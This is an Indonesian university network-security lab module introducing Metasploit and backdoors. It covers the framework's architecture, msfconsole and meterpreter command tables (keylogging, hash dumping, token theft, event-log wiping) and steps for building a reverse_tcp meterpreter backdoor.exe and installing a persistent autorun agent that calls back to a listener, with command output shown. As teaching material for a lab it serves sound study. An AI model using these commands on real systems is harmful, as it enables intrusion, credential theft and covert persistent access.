Anda di halaman 1dari 20

Modul Praktek

Keamanan Jaringan

Network Security
Telkom University
2014-2015

METASPLOIT DAN BACKDOOR


I.

Tujuan
1. Praktikan Mengenal dan memahami konsep dasar eksploitasi dengan metasploit
2. Praktikan dapat melakukan eksploitasi sederhana menggunakan metasploit
3. Praktikan Mengenal dan Memahami konsep dasar backdoor
4. Praktikan dapat melakukan instalasi sederhana backdoor menggunakan metasploit

II.

Alat yang dugunakan


1. Virtual box
2. Sistem Operasi
Ubuntu 12.04
Windows 7

III. Dasar Teori


A. Metasploit
The Metasploit Project adalah sebuah poyek open source yang dikembangkan oleh rapid7 yang
meneliti tentang kerentanan keamanan dan mengembangkan kode yang memungkinkan jaringan
masuk ke jaringan sendiri untuk mengidentifikasi risiko keamanan.
Penciptaan proyek yang paling terkenal adalah Metasploit Framework. Metasploit Framework
adalah sebuah platform perangkat lunak untuk mengembangkan, menguji, dan melaksanakan
eksploitasi. Metasploit awalnya diciptakan sebagai alat jaringan portable oleh HD Moore pada
tahun 2003 kemudian diakuisisi oleh perusahaan keamanan jaringan rapid7 pada tahun 2009.
(TechTarget, 2011)

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Arsitektur metasploit (Aharoni, et al., 2014)

Libraries

Rex
Perpustakaan (libraries) dasar untuk sebagian besar tugas.
Menangani soket, protokol, transformasi teks, dll.

MSF Core
Menyediakan dasar API (Application Programming Interface)
Mendefinisikan metasploit framework

MSF Base
Menyediakan ramah API
Menyediakan API yang disederhanakan untuk framework

Metasploit Interface
1. MSFConsole
Pada praktikum ini menggunakan MSFconsole sebagai pembelajaran metasploit. Pada
msfconsole merupakan "all-in-one" atau konsol terpusat dan memungkinkan pengguna lebih
efisien karena untuk hampir semua pilihan telah tersedia di Metasploit Framework.

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Kelebihan MSFConsole :

Merupakan interface satu-satunya yang dapat mengakses sebagian fitur yang ada pada
metasploit

Menyediakan antarmuka berbasis konsol untuk framework

Merupakan interface yang memiliki banyak fitur dan merupakan yang paling stabil

Mendukung full read line, tabbing dan command completion

2. MSFcli
Merupakan interface yang menggunakan command line untuk menggunakan metasploit.
Kelebihan MSFcli :

Mendukung peluncuran eksploitasi dan modul tambahan

Dapat menangani tugas tertentu yang lebih spesifik

Baik untuk pembelajaran, karena tidak menggunakan fitur otomatis seperti yang
dimiliki msfconsole

Cocok digunakan untuk pengujian atau mengembangkan eksploitasi yang baru

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Kekurangan MSFcli :
MSFcli tidak mendukung banyak fitur sebaik MSFconsole, dan hanya dapat menangani satu
shell dalam satu waktu, sehingga lebih praktis untuk menggunakan serangan client-side.
Contoh :

3. Armitage
Armitage adalah salah satu interfaces yang dimiliki metasploit menggunakan grafis. Dibuat
oleh Raphael Mudge.
Armitage (Fili, 2010)

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Modules
Dalam konteks ini, yang dimaksud modul adalah software yang digunakan oleh framework
metasploit.

Payload
Kode yang digunakan untuk mengeksekusi perintah pada sistem, kemudian kode ini dipilih
dan disampaikan oleh framework untuk melakukan penetrasi.

Shellcode
Shellcode adalah satu set instruksi yang digunakan sebagai payload ketika eksploitasi
terjadi. Shellcode biasanya ditulis dalam bahasa assembly.

Exploit
Pemanfaatan yang dilakukan oleh penyerang terhadap lemahnya suatu sistem untuk
memperoleh keuntungan.

Listener
Listener dalam konteks ini adalah komponen pada metasploit yang menunggu koneksi
masuk.

Encoders
Memastikan bahwa payload sampai ke tujuan

Auxiliary
Sebagai pelengkap modul

Meterpreter adalah salah satu produk unggulan yang dimiliki metasploit dan digunakan sebagai
payload setelah kerentanan sistem berhasil dimanfaatkan.
Meterpreter merupakan perpanjangan dari framework Metasploit yang memungkinkan kita untuk
memanfaatkan fungsi Metasploit. Beberapa fungsi ini meliputi cara untuk menutupi jejak, berada
sepenuhnya dalam memori, hash dump, akses sistem operasi, dan lain-lain.

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Perintah Dasar
a. Perintah dasar MSFconsole
COMMAND

Artinya

show exploits

Menampilkan semua modul dalam framework

show payloads

Menampilkan semua payload dalam framework

show auxiliary

Menampilkan semua modul tambahan dalam


framework

search <name>

Mencari modul pada framework

info

Memuat informasi tentang modul tertentu

use <name>

Memuat eksploitasi atau modul

LHOST

Local host (Alamat IP local yang dijangkau oleh


target / IP local yang digunakan oleh pengguna
metasploit)

RHOST

Remote host atau target (Alamat IP target)

LPORT

Port local yang digunakan untuk membuka


koneksi

RPORT

Menentukan port yang terbuka pada komputer


target (Remote Port)

set function

Mengatur nilai tertentu (misalnya, LHOST atau


RHOST)

setg function

Mengatur

nilai

tertentu

secara

global

(misalnya, LHOST atau RHOST)


show options

Tampilan pilihan yang tersedia untuk modul


atau eksploitasi

show target

Menampilkan platform target (Sistem operasi


dan versinya)

Set target <num>

Menentukan index target tertentu, setelah


pengguna megetahui sistem operasi dan
versinya

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

set payload <payload>

Menentukan payload untuk digunakan

Show advanced

Menampilkan opsi lanjutan

Set autorunscript migrate -f

Mengatur secara otomatis bermigrasi ke proses


yang terpisah setelah proses eksploitasi selesai

check

Menentukan apakah target rentan terhadap


serangan

exploit

Menjalankan modul atau mengeksploitasi dan


melakukan serangan kepada target

exploit -j

Menjalankan mengeksploitasi dibawah konteks


pekerjaan (melakukan eksploitasi pada mode
background)

exploit -z

Menjalankan

modul

atau

mengeksploitasi

tetapi tidak akan berinteraksi dengan session


setelah proses eksploitasi sukses
exploit e encoder

Menjalankan

modul

atau

mengekploitasi

menggunakan encoder payload,


contoh : exploit e shikata_ga_nai
exploit -h

Menampilkan

perintah

bantuan

untuk

menjalankan perintah exploit


session -l

Menampilkan daftar session yang tersedia


(digunakan ketika menangani banyak shell)

session l v

Menampilkan semua daftar session yang


tersedia dan menampilkan secara terperinci
seperti yang digunakan ketika melakukan
eksploitasi sistem

session s script

Menjalankan secara spesifik script meterpreter


pada semua session meterpreter aktif

session -K

Menonaktifkan semua session yang aktif

session c cmd

Menjalankan semua perintah pada session


meterpreter aktif
7

Modul Praktek
Keamanan Jaringan

session u sessionID

Upgrade

Network Security
Telkom University
2014-2015

win32

shell normal ke

konsol

meterpreter
db_create

Membuat database, digunakan untuk serangan


berbasis

database

(contoh

db_create

autopwn)
db_connect

Membuat dan menghubungkan ke database


(contoh db_connect autopwn)

db_nmap

Menggunakan

nmap

dan

menempatkan

hasilnya ke dalam database (sintaks yang


mendukung nmap sT v p0)
db_autopwn -h

Tampilan

bantuan

untuk

menggunakan

db_autopwn
db_destroy

Menghapus database saat ini

db_destroy

Menghapus

database

menggunakan

opsi

user:password@host:port/database lanjutan

b. Perintah dasar meterpreter


COMMAND
help

Artinya
Menampilkan

perintah

bantuan

untuk

menjalankan meterpreter
run scriptname

Menjalankan perintah meterpreter berbasis


script

sysinfo

Menampilkan informasi sistem target

ls

Menampilkan daftar files dan folder target

use priv

menggunakan

privilege

mode

untuk

mendapatkan akses istimewa


ps

Menampilkan semua proses yang berjalan dan


akun yang berhubungan dengan setiap proses

Migrate PID

Bermigrasi ke ID proses tertentu (PID adalah


Proses ID yang diperoleh dari perintah ps)
8

Modul Praktek
Keamanan Jaringan

Use incognito

Network Security
Telkom University
2014-2015

Menggunakan fungsi penyamaran (Digunakan


untuk tanda pencurian dan peniruan pada
mesin target)

list_token -u

Menampilkan daftar token yang tersedia setiap


pengguna (by user)

List_token -g

Menampilkan daftar token yang tersedia


perkelompok (by group)

impersonate_token

Meniru token yang tersedia pada target

DOMAIN_NAME\\USERNAME
steal_token PID

Mencuri token yang tersedia untuk suatu proses


dan melakukan penyamaran melalui token itu

drop_token

Berhenti menyamar token

getsystem

Mencoba untuk meningkatkan hak akses untuk


mengakses sistem melalui beberapa vektor
serangan

shell

Memindahkan ke sebuah shell interaktif dengan


semua token yang tersedia

execute -f cmd.exe -i

menjalankan cmd.exe dan berinteraksi dengan


cmd tersebut

execute -f cmd.exe -i -t

menjalankan cmd.exe dengan semua token


tersedia

execute -f cmd.exe -i -H -t

menjalankan cmd.exe dengan semua token


yang

tersedia

dan

membuat

proses

tersembunyi
rev2self

Kembali ke user asli yang digunakan untuk


bernegosiasi dengan target

reg command

Interact, create, delete, query, set, dan masih


banyak registri target

setdesktop number

Beralih ke layar yang berbeda berdasarkan pada


siapa yang login

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

screenshot

Mengambil screenshot layar target

upload file

Mengupload file ke target

download file

Mendownload file dari target

keyscan_start

Mulai sniffing penekanan tombol pada target


secara jarak jauh

keyscan_dump

Membuang key yang terekam oleh target

keyscan_stop

Berhenti melakukan sniffing

getprivs

Mendapatkan hak akses sebanyak mungkin


pada target

uictl enable keyboard/mouse

Ambil kontrol dari keyboard dan atau mouse

background

menjalankan Meterpreter shell di background

hashdump

Membuang semua hash pada target

use sniffer

Memuat modul sniffer

sniffer_interfaces

Menampilkan daftar interface yang tersedia


pada target

sniffer_dump interfaceID

Mulai sniffing pada remote target

pcapname
sniffer_start interfaceID

Mulai sniffing dengan range tertentu untuk

packet-buffer

buffer paket.

sniffer_stats interfaceID

Ambil informasi statistik dari saat interface


melakukan sniffing.

sniffer_stop interfaceID

Hentikan sniffer

add_user username password -h

Menambahkan pengguna pada target

ip
add_group_user "Domain Admins"

Menambahkan user ke grup Administrator

username -h ip

Domain pada remote target

clearev

menghapus event log pada mesin target.

timestomp

Merubah atribut file, seperti tanda pembuatan,


dll

reboot

Restart mesin target


10

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

REQUIREMENT METASPLOIT
Untuk spesifikasi hardware minimal dapat dilihat di http://www.offensive-security.com/metasploitunleashed/Requirements
INSTALASI METASPLOIT PADA UBUNTU 12.04
1. Update repository
#sudo apt-get update
2. Dapatkan package metasploit di http://metasploit.com/download
Keterangan : pada modul ini metasploit yang digunakan adalah untuk linux 32 bit
3. Simpan file tersebut di Desktop
4. Masuk mode bash
#sudo bash
5. Masuk direktori desktop
#cd Desktop/
6. Merubah hak akses
#chmod +x metasploit-latest-linux-installer.run
7. Lalu jalankan setup metasploit
#./ metasploit-latest-linux-installer.run
8. Klik forward

11

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

9. Centang I accept the agreement lalu klik forward

10. Klik forward, menggunakan direktori default

12

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

11. Klik yes, pada pilihan install as service lalu klik forward

12. Klik forward, untuk disable antivirus and firewall

13. Gunakan ssl port default, lalu klik forward

13

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

14. Gunakan server default, lalu klik forward

15. Klik forward

16. Menunggu proses instalasi

14

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

17. Buka terminal, lalu install paket pendukung


#sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev
18. Instal paket nmap
#sudo apt-get install nmap

B. Backdoor
Backdoor adalah salah satu jenis trojan yang sering digunakan untuk mengontrol suatu komputer
dari jarak jauh melalui jaringan baik lokal maupun Internet. Ciri khas backdoor adalah berjalan
secara tersembunyi, tidak menampilkan hal-hal yang mencurigakan, serta membuka port agar
komputer dapat diakses secara remote. Backdoor dapat juga disebut sebagai Remote Access Trojan
atau Remote Administration Tool (RAT).
Contoh trojan backdoor (RAT) adalah Posion Ivy, Bifrost, Optix Pro, DarkComet-Rat, XpertRAT, Back
Orifice, Sub Seven (Sub7), meterpreter backdoor, persistent backdoor (Netcat backdoor,
meterpreter service), dan lain-lain.
Cara kerja Trojan Backdoor
Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer
target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan
komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan
reverse connection.

Pada direct connection, server berusaha melakukan koneksi ke IP target agar dapat
berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.

Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha
melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi
Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis?
Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara
gratis oleh website-website tertentu.
(Mojokertocyber Media, 2013)

15

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Perintah dasar Persistent Backdoor


Sebelum membuat backdoor menggunakan meterpreter service, kita harus memahami perintah
dasar msfpayload.
Msfpayload adalah contoh baris perintah dari Metasploit yang digunakan untuk menghasilkan dan
output semua berbagai jenis shellcode yang tersedia di Metasploit. Penggunaan yang paling umum
dari alat ini adalah untuk generasi shellcode untuk mengeksploitasi yang tidak sedang dalam
Metasploit Framework atau untuk menguji berbagai jenis shellcode dan pilihan sebelum
menyelesaikan modul.
Berikut pilihan perintah yang tersedia pada msfpayload :
root@praktikum:~# msfpayload -h
Usage: /usr/bin/msfpayload [] [var=val]
<[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Py
tho[N]>
OPTIONS:
-h
-l

Help banner
List available payloads

Untuk melihat daftar payload yang tersedia menggunakan perintah seperti dibawah ini :
root@praktikum:~# msfpayload -l
Framework Payloads (251 total)
==============================
Name
Description
-------------aix/ppc/shell_bind_tcp
Listen for a
connection and spawn a command shell
aix/ppc/shell_find_port
Spawn a shell on an
established connection
...snip...
...snip...
windows/x64/vncinject/bind_tcp
Listen for a
connection (Windows x64), Inject a VNC Dll via a reflective loader
(Windows x64) (staged)
windows/x64/vncinject/reverse_tcp
Connect back to the
attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows
x64) (staged)

16

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

Untuk mengecek apakah payload anda pilih tersebut tersedia pada komputer anda
root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp O
Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>
Basic options:
Name
Current Setting
-----------------EXITFUNC process
process, none
LHOST
LPORT
4444

Required
-------yes

Description
----------Exit technique: seh, thread,

yes
yes

The listen address


The listen port

Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective Dll Injection payload (staged)

Status yes pada baris EXITFUNC menunjukan bahwa payload tersedia (sesuai)

17

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp


LHOST=192.168.1.2 LPORT=666 x O
Name: Windows Meterpreter (Reflective Injection), Reverse TCP
Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal
Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>
Basic options:
Name
Current Setting
-----------------EXITFUNC process
process, none
LHOST
192.168.1.2
LPORT
666

Required
-------yes

Description
----------Exit technique: seh, thread,

yes
yes

The listen address


The listen port

Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective Dll Injection payload (staged)

Status yes menunjukan bahwa pengaturan LHOST dan LPORT tersedia (sesuai)
Setelah memastikan bahwa semua pengaturan tersedia, maka eksekusi perintah tersebut seperti
contoh dibawah ini
root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.2 LPORT=666 x > /var/www/backdoor.exe
Keterangan :
-

msfpayload adalah perintah untuk menggunakan msfpayload


windows/meterpreter/reverse_tcp adalah payload yang dipilih dan digunakan
pada contoh diatas

18

Modul Praktek
Keamanan Jaringan

Network Security
Telkom University
2014-2015

LHOST adalah Alamat IP local yang dijangkau oleh target / IP local yang digunakan oleh
pengguna metasploit, 192.168.1.2 adalah ip address yang digunakan oleh komputer
penyerang
LPORT Port local yang digunakan untuk membuka koneksi
x adalah argument yang menyatakan untuk dieksekusi (executable)
/var/www/ adalah tempat dimana file backdoor.exe disimpan
backdoor.exe adalah nama file .exe

Untuk melihat pilihan yang tersedia, kita dapat menggunakan perintah -h, perintah ini digunakan
setelah berhasil melakukan exploitasi menggunakan meterpreter.
meterpreter > run persistence -h
OPTIONS:
-A
Automatically start a matching multi/handler to connect to
the agent
-U
Automatically start the agent when the User logs on
-X
Automatically start the agent when the system boots
-h
This help menu
-i
The interval in seconds between each connection attempt
-p
The port on the remote host where Metasploit is listening
-r
The IP of the system running Metasploit listening for the
connect back

Berikut contoh untuk mengimplementasikan perintah diatas :


meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5
onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/persistence/XEN-XP-SP2BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >

19

Modul Praktek
Keamanan Jaringan

IV.

Network Security
Telkom University
2014-2015

Referensi

Aharoni, M., Coppola, W., Hand, P., Hernandez, A., Kearns, D., Kennedy, D., et al. (2014). Metasploit
Unleashed. Retrieved Februari 12, 2014, from Offensive Secutity: http://www.offensivesecurity.com/metasploit-unleashed/Metasploit_Architecture
Fili. (2010, September 18). Eclectic Security. Retrieved April 03, 2014, from Metasploit 3.7.0 and
Armitage with postgresql support: http://bailey.st/blog/tag/metasploit/
Mojokertocyber Media. (2013). Hacking Dengan Trojan Backdoor. Retrieved April 8, 2014, from
Mojokertocyber Media: http://www.mojokertocyber.com/cyber-tech/keamananjaringan/178-hacking-dengan-trojan-backdoor.html
TechTarget. (2011, Agustus). Metasploit Project - Metasploit Framework. Retrieved Februari 12,
2014, from SearchSecurity.in: http://searchsecurity.techtarget.in/definition/MetasploitProject-Metasploit-Framework

20

Anda mungkin juga menyukai